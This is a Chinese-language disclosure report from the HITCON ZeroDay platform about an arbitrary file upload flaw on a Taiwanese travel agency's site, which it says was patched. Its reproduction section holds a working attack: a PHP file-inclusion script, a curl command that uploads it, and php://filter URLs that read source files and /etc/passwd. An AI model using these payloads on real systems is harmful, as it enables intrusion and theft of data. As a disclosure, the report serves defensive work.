Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2019-00579
- Vendor: 晴天國際旅行社股份有限公司
- Title: 晴天旅遊 任意檔案上傳導致本地文件存取漏洞
- Introduction: 因為專案目錄權限未設置好,導致找到可以任意上傳的漏洞,進而可以任意存取本地文件
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2019/06/18 02:05:18 : 新提交 (由 SomeApple 更新此狀態)
- 2019/06/18 08:39:22 : 新提交 (由 SomeApple 更新此狀態)
- 2019/06/18 08:45:41 : 新提交 (由 SomeApple 更新此狀態)
- 2019/06/18 08:46:05 : 新提交 (由 SomeApple 更新此狀態)
- 2019/06/18 08:47:08 : 新提交 (由 SomeApple 更新此狀態)
- 2019/06/18 09:02:23 : 新提交 (由 SomeApple 更新此狀態)
- 2019/06/18 09:04:58 : 新提交 (由 SomeApple 更新此狀態)
- 2019/06/18 22:35:37 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/07/01 00:06:56 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/07/01 00:06:56 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/07/03 16:45:15 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/08/01 14:36:51 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/08/01 21:16:51 : 確認已修補 (由 SomeApple 更新此狀態)
- 2019/08/05 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2019-00579
- 通報者:jk82421 (SomeApple)
- 風險:嚴重
- 類型:任意檔案上傳 (Arbitrary File Upload)
參考資料
漏洞說明: OWASP - Unrestricted File Upload
https://www.owasp.org/index.php/Unrestricted_File_Upload
漏洞說明: CWE-434: Unrestricted Upload of File with Dangerous Type
https://cwe.mitre.org/data/definitions/434.html
相關網址
https://www.sundaytour.com.tw/include/php_script/
https://www.sundaytour.com.tw/include/php_script/file_upload/upload.php
敘述
初步資訊搜集
透過 "index of" 的方式找到了此網站目錄並沒有鎖起來
根據不同的目錄結構找到三個重點目錄
- https://www.sundaytour.com.tw/upfiles/
- https://www.sundaytour.com.tw/include/php_script/
- https://www.sundaytour.com.tw/include/php_script/file_upload/upload.php
重現漏洞
首先透過對此 URL: https://www.sundaytour.com.tw/include/php_script/file_upload/upload.php 進行 POST 後
發現在 https://www.sundaytour.com.tw/upfiles/ 的數量會開始增加,於是發現 POST 後的東西成功被丟到上面
撰寫 exploit code
<?php
$file = $_GET['file'];
include $file;
?>
並使用 form-data 的方式上傳上去,並讓檔案名稱為 .php 結尾 (/Users/some-body/Desktop/test.php 為虛構檔案路徑)
curl -X POST \
https://www.sundaytour.com.tw/include/php_script/file_upload/upload.php \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW' \
-F file=@/Users/some-body/Desktop/test.php \
-F name=test.php
然後使用 php://filter/read=convert.base64-encode/resource 的方式可以成功讀取任一檔案
以下為讀取 mysql.php 的完整 URL
https://www.sundaytour.com.tw/upfiles/test_2.php?file=php://filter/read=convert.base64-encode/resource=../include/php_script/sql/Mysql_class.php
會得到 base64 的編碼
再透過 decode 的方式可以拿到檔案的源碼
進一步就可以看到每個 sql 的寫法, 以 https://www.sundaytour.com.tw/upfiles/test_2.php?file=php://filter/read=convert.base64-encode/resource=../include/php_script/user_class.php 為例子,可以看到會有 SQL Injection 的問題
接下來就可以根據不同系統去讀取不同檔案,以 /etc/passwd 為例子
https://www.sundaytour.com.tw/upfiles/test_2.php?file=php://filter/read=convert.base64-encode/resource=../../../../../../etc/passwd
修補建議
建議一
請把檔案目錄給鎖起來,不要讓任何人都可以存取到所有結構
建議二
請針對操作進行權限控管,不讓任何人都可以使用任意功能